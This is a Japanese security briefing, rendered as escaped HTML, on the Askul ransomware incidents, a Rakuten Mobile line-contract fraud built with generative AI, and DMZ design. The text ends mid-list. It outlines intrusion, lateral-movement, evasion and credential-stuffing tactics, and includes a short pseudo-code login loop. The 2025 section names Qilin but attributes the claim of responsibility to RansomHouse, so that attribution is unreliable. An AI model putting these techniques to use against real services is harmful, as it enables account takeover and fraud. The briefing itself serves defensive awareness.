&lt;div&gt;&lt;span&gt;### 1.1 事件概要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2023年8月、事務用品大手のアスクル株式会社は、同社の一部システムがランサムウェア攻撃を受け、顧客や取引先などの情報が外部に漏洩した可能性があることを発表しました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 1.2 技術的被害詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 攻撃グループ：BlackCat（ALPHV）の特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**BlackCat（ALPHV）**&lt;/span&gt;&lt;span&gt;は、Rust言語で実装された高度なランサムウェアファミリーで、以下の技術的特徴を持ちます：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**マルチプラットフォーム対応**&lt;/span&gt;&lt;span&gt;: Windows、Linux、VMware ESXiに対応&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**二重脅迫（Double Extortion）**&lt;/span&gt;&lt;span&gt;: データ暗号化に加え、窃取したデータの公開を脅迫材料とする&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**暗号化アルゴリズム**&lt;/span&gt;&lt;span&gt;: ChaCha20、AES-256、RSA-4096を組み合わせたハイブリッド暗号方式&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**回避技術**&lt;/span&gt;&lt;span&gt;: EDR（Endpoint Detection and Response）回避、プロセス注入、Windows Defender無効化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**C2通信**&lt;/span&gt;&lt;span&gt;: Torネットワーク経由の暗号化通信でコマンド&amp;amp;コントロールサーバと通信&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 攻撃フローと技術的手法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**初期侵入（Initial Access）**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 脆弱なRDP（Remote Desktop Protocol）接続のブルートフォース攻撃&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; フィッシングメール経由のマルウェア配布&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 既知の脆弱性（CVE）を悪用したリモートコード実行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**横展開（Lateral Movement）**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Pass-the-Hash、Pass-the-Ticketなどの認証情報窃取技術&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; WMI（Windows Management Instrumentation）やPsExecを利用したリモート実行&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Active Directoryの権限昇格を悪用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**データ窃取（Data Exfiltration）**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 大量データの段階的な外部転送（ステガノグラフィーや暗号化通信で検出回避）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ファイルサーバやデータベースへの不正アクセス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**暗号化実行（Encryption）**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ネットワークドライブを含む全ドメイン内システムへの拡散&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; バックアップファイル（.bak、.vmdk、.vhd）の優先的暗号化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 復旧を困難にするため、シャドウコピーやボリュームスナップショットの削除&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 漏洩情報の詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**法人顧客情報**&lt;/span&gt;&lt;span&gt;: 会社名、担当者名、メールアドレス、電話番号、住所、取引履歴&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**個人顧客情報**&lt;/span&gt;&lt;span&gt;: 氏名、メールアドレス、電話番号、住所、購入履歴&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**取引先情報**&lt;/span&gt;&lt;span&gt;: サプライヤー情報、契約情報、決済情報（クレジットカード情報は保持していないため流出なし）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**影響範囲**&lt;/span&gt;&lt;span&gt;: 100万件を超える情報が流出した可能性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 1.3 最新アップデート（2024年6月時点）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 公式な被害総計や個人被害の発生状況については、逐次アスクルの公式サイトやプレスリリースで更新されています&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 流出データの悪用（詐欺やフィッシング被害等）は現時点で大きな報告はありませんが、注意喚起が継続されています&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 政府機関や警察も捜査を継続し、サイバーセキュリティ対策の重要性が社会的に再認識されています&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 1.4 補足情報：2025年10月のQilinランサムウェア攻撃&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### Qilinランサムウェアの技術的特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**Qilin（キリン）**&lt;/span&gt;&lt;span&gt;は、Go言語で実装されたランサムウェアで、以下の特徴があります：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**高速暗号化**&lt;/span&gt;&lt;span&gt;: 並列処理による高速なファイル暗号化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ESXi専用機能**&lt;/span&gt;&lt;span&gt;: VMware ESXi環境での仮想マシンファイル（.vmdk）の直接暗号化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**二重脅迫**&lt;/span&gt;&lt;span&gt;: データ暗号化とデータ窃取の両方を実行&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**暗号化アルゴリズム**&lt;/span&gt;&lt;span&gt;: ChaCha20-256とRSA-4096のハイブリッド暗号&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 2025年10月19日の攻撃詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**攻撃手法**&lt;/span&gt;&lt;span&gt;: サプライチェーン攻撃により、アスクルの物流委託先企業を経由して侵入&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**影響範囲**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 基幹システムの暗号化により受注・出荷業務が全面停止&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 無印良品（良品計画）、ロフト、そごう・西武など、アスクルの物流サービスを利用する企業にも連鎖的影響&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**情報流出**&lt;/span&gt;&lt;span&gt;: 2025年10月31日に一部の顧客情報やサプライヤー情報が外部に流出したことを公表&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**犯行声明**&lt;/span&gt;&lt;span&gt;: ハッカー集団「Ransomhouse（ランサムハウス）」が約1.1TBのデータを窃取したとする犯行声明を発表&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;※詳細や最新情報はアスクル株式会社公式サイトのセキュリティインシデント関連ページや、報道発表等でご確認ください。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 2. 楽天モバイルに関する生成AIを悪用した回線契約不正プログラム事件&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2.1 事件概要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2025年2月（発表：2025年5月29日）、中高生3人が生成AIを利用して作成したプログラムを用いて、楽天モバイルのシステムに不正アクセスし、通信回線を契約したとして逮捕されました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2.2 技術的攻撃詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 生成AIを利用した自動化プログラムの実装&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**使用された技術スタック**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**生成AI**&lt;/span&gt;&lt;span&gt;: ChatGPT、Claude、GitHub Copilotなどの対話型AIを利用してコード生成&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**プログラミング言語**&lt;/span&gt;&lt;span&gt;: Python、JavaScript（Node.js）を推測&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**自動化フレームワーク**&lt;/span&gt;&lt;span&gt;: Selenium、Playwright、Puppeteerなどのブラウザ自動化ツール&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 攻撃フローの技術的詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**認証情報の取得**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; データ漏洩サイトやダークウェブから取得したID・パスワードリストを使用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; パスワードリスト攻撃（Credential Stuffing）の自動化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ログイン自動化**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;   ```python&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;# 疑似コード（実際の攻撃コードではない）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; credentials &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; credential_list:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;login&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;credentials&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;       &lt;/span&gt;&lt;span&gt;execute_contract_automation&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   ```&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 複数の認証情報を順次試行するブルートフォース的アプローチ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; CAPTCHA回避技術（OCR、AIベースのCAPTCHA解決サービス利用）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**回線契約の自動実行**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Web APIの直接呼び出し、またはブラウザ操作の自動化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; セッション管理とCookieの維持&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; フォーム入力の自動化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**匿名化技術**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**VPN/プロキシチェーン**&lt;/span&gt;&lt;span&gt;: 複数のプロキシサーバを経由して発信元IPアドレスを隠蔽&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**Torネットワーク**&lt;/span&gt;&lt;span&gt;: オニオンルーティングによる匿名通信&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仮想マシン/コンテナ**&lt;/span&gt;&lt;span&gt;: 実行環境の分離と痕跡の削除&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**MACアドレス偽装**&lt;/span&gt;&lt;span&gt;: ネットワークインターフェースの識別情報変更&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 技術的脆弱性の分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**楽天モバイル側のセキュリティ課題**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**多要素認証（MFA）の未実装または不十分な実装**&lt;/span&gt;&lt;span&gt;: パスワードのみの認証では、認証情報が漏洩した場合に不正アクセスが容易&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**レート制限の不備**&lt;/span&gt;&lt;span&gt;: ログイン試行回数に制限がない、または緩い制限により、自動化された攻撃が可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**異常検知の不足**&lt;/span&gt;&lt;span&gt;: 通常とは異なるアクセスパターン（大量のログイン試行、異常な時間帯のアクセスなど）を検知する仕組みが不十分&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**セッション管理の脆弱性**&lt;/span&gt;&lt;span&gt;: セッション固定化攻撃やセッションハイジャックへの対策が不十分&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2.3 逮捕者と組織構造&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**逮捕者**&lt;/span&gt;&lt;span&gt;: 中高生3人&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**組織構造**&lt;/span&gt;&lt;span&gt;: オンラインゲームを通じて知り合い、通信アプリ「テレグラム」で連絡を取り合っていた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**役割分担**&lt;/span&gt;&lt;span&gt;: コード作成、認証情報の収集、実行環境の準備など、役割を分担していたと推測&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2.4 技術的教訓と対策&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 生成AIの悪用リスク&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**低スキル攻撃者の能力向上**&lt;/span&gt;&lt;span&gt;: 生成AIにより、高度なプログラミング知識がなくても、複雑な攻撃ツールを作成可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**コード生成の高速化**&lt;/span&gt;&lt;span&gt;: 従来は数週間かかる開発が、数時間で完了する可能性&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**検出回避技術の普及**&lt;/span&gt;&lt;span&gt;: AIが生成するコードは、既知の検出パターンを回避する傾向がある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 推奨される対策&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**多要素認証（MFA）の強制実装**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TOTP（Time-based One-Time Password）、SMS認証、生体認証の組み合わせ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; FIDO2/WebAuthnによるパスワードレス認証&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**レート制限と異常検知**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; IPアドレス、ユーザーアカウント、デバイス単位でのレート制限&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 機械学習ベースの異常検知システム（ML-based Anomaly Detection）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**セッション管理の強化**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; セッションタイムアウトの短縮&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; セッション固定化攻撃対策（セッションIDの再生成）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; デバイスフィンガープリンティングによる異常セッション検知&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**CAPTCHAとボット対策**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; reCAPTCHA v3、hCaptchaなどの高度なボット検知&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 行動分析によるボット判定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2.5 関連する生成AI悪用事例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**2024年5月**&lt;/span&gt;&lt;span&gt;: 対話型生成AIを用いてランサムウェアを作成したとして、川崎市の男性が逮捕される事件が発生（国内初の生成AI悪用によるマルウェア作成の摘発事例）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 生成AIを悪用したサイバー攻撃は、ランサムウェアの作成、フィッシング詐欺の自動化、ディープフェイクを利用した社会工学的手法などに利用される傾向がある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**参考資料**&lt;/span&gt;&lt;span&gt;: 内閣サイバーセキュリティセンター（NISC）の資料（2025年5月29日発表）に詳細が記載されています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 3. サーバーセキュリティとネットワークインフラ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 3.1 DMZ（非武装地帯）の構成とセキュリティアーキテクチャ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DMZの定義と目的&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**DMZ（Demilitarized Zone）**&lt;/span&gt;&lt;span&gt;は、外部ネットワーク（インターネット）と内部ネットワーク（企業内LAN）の中間に配置されるセキュリティ領域です。DMZの主な目的は以下の通りです：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**境界防御の実現**&lt;/span&gt;&lt;span&gt;: 外部からの攻撃が内部ネットワークに直接到達することを防ぐ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**公開サービスの分離**&lt;/span&gt;&lt;span&gt;: 外部に公開する必要があるサービスを内部ネットワークから分離&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**多層防御の実現**&lt;/span&gt;&lt;span&gt;: ファイアウォールによる多段階のアクセス制御&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DMZのネットワークアーキテクチャ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;flowchart TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Internet["インターネット&amp;lt;br/&amp;gt;(パブリックIP)"] --&amp;gt;|外部アクセス| ExtFW["外部ファイアウォール"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  ExtFW --&amp;gt;|DMZセグメント| DMZ["DMZ内サーバ"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  DMZ --&amp;gt; Web["Webサーバ&amp;lt;br/&amp;gt;80/tcp, 443/tcp"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  DMZ --&amp;gt; Mail["メールサーバ&amp;lt;br/&amp;gt;25/tcp, 587/tcp&amp;lt;br/&amp;gt;993/tcp, 995/tcp"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  DMZ --&amp;gt; DNS["DNSサーバ&amp;lt;br/&amp;gt;53/udp, 53/tcp"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  DMZ --&amp;gt;|プライベートIP| IntFW["内部ファイアウォール"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  IntFW --&amp;gt;|内部セグメント| Internal["内部ネットワーク"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Internal --&amp;gt; DB["データベースサーバ"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Internal --&amp;gt; File["ファイルサーバ"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Internal --&amp;gt; Mgt["管理サーバ"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DMZに配置されるサーバの詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**1. Webサーバ**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**公開ポート**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; HTTP: 80/tcp&lt;/span&gt;&lt;/div&gt;
